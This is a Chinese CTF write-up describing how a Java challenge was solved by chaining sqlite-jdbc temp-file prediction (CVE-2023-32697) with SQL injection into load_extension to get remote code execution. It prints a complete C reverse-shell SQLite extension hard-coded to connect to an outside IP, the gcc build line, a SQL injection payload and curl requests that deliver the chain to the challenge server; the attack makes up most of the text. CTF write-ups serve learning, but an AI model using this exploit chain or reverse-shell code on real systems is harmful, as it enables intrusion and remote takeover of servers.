从一道题看利用sqlite打jdbc达到RCE

前言

从今年国赛的一道java题遇到了sqlite数据库去打jdbc达到RCE的姿势,故笔者写篇文章记下

复现

反编译源代码可以看见这三个数据库

这里提供了mysql sqlite psql 但mysql和psql都不行 这里我们用sqlite去打

jdbc就可以执行load_extension()

CVE-2023-32697,这个洞其实就是sqlite数据库⽂件的缓存⽂件在tmp⽬录下⽂件名是已知的,直接

通过以下脚本跑

复制代码
package org.example;
import java.net.MalformedURLException;
import java.net.URL;

public class filename {
    public static void main(String[] args) throws MalformedURLException {
       String so = "http://vpsip:port/poc.so";
       String url = so;
       String filename = "/tmp/sqlite-jdbc-tmp-"+new
                URL(url).hashCode()+".db";System.out.printf(filename);}
}

接着sqlite.getTableContent这⾥能够SQL注⼊,直接联合注⼊执⾏load_extension

"tableName":"user union select 1,load_extension('/emp/sqlite-jdbc-tmp--39093542.db');-- "

就能加载恶意的so文件

复制代码
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>

SQLITE_EXTENSION_INIT1

/* Configuration for the TCP connection */
int tcp_port = 5555;
char *ip = "129.204.197.19";

#ifdef _WIN32
__declspec(dllexport)
#endif

/**
 * Initializes the SQLite extension.
 *
 * @param db SQLite database pointer
 * @param pzErrMsg Error message pointer
 * @param pApi SQLite API routines pointer
 * @return SQLITE_OK on success
 */
int sqlite3_extension_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);

    /* Establish a TCP connection and spawn a shell if running in a child process */
    int fd;
    if ((fork()) <= 0) {
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);

        fd = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
            exit(0); // Exit if connection fails
        }

        // Redirect standard file descriptors to the socket
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);

        // Execute bash shell
        execve("/bin/bash", NULL, NULL);
    }

    return rc;
}

这个是反弹shell的sqlite恶意拓展

gcc -g -fPIC -shared poc.c -o poc.so

编译好之后之间放在远程服务上让其建⽴缓存

复制代码
curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/poc.so\",\"tableName\": \"security\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect

这个时候 /tmp/sqlite-jdbc-tmp-840682179.db⽂件就写⼊进去了,接着创建⼀个正常的带user表

的sqlite数据库⽂件放到服务器上让其进⾏连接

接着传⼊table参数进⾏sql注⼊

复制代码
curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/111.db\",\"tableName\": \"user union select 1,load_extension('/tmp/sqlite-jdbc-tmp
--39093542.db')\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect

至此攻击完成

相关推荐
2501_916007472 小时前
iOS 接口频繁请求导致流量激增?抓包分析定位与修复全流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916013743 小时前
用Fiddler中文版抓包工具掌控微服务架构中的接口调试:联合Postman与Charles的高效实践
websocket·网络协议·tcp/ip·http·网络安全·https·udp
mooyuan天天5 小时前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
00后程序员张5 小时前
调试 WebView 接口时间戳签名问题:一次精细化排查和修复过程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
Whoisshutiao6 小时前
Python网安-zip文件暴力破解(仅供学习)
开发语言·python·网络安全
柴郡猫^O^7 小时前
OSCP - Proving Grounds - DC - 1
安全·网络安全·安全性测试
速盾cdn9 小时前
速盾:高防CDN还有哪些冷知识?
网络·web安全
m0_7381207214 小时前
玄机——某学校系统中挖矿病毒应急排查
网络·安全·web安全
浩浩测试一下10 天前
渗透测试指南(CS&&MSF):Windows 与 Linux 系统中的日志与文件痕迹清理
linux·运维·windows·安全·web安全·网络安全·系统安全
安全系统学习10 天前
【网络安全】DNS 域原理、危害及防御
算法·安全·web安全·网络安全·哈希算法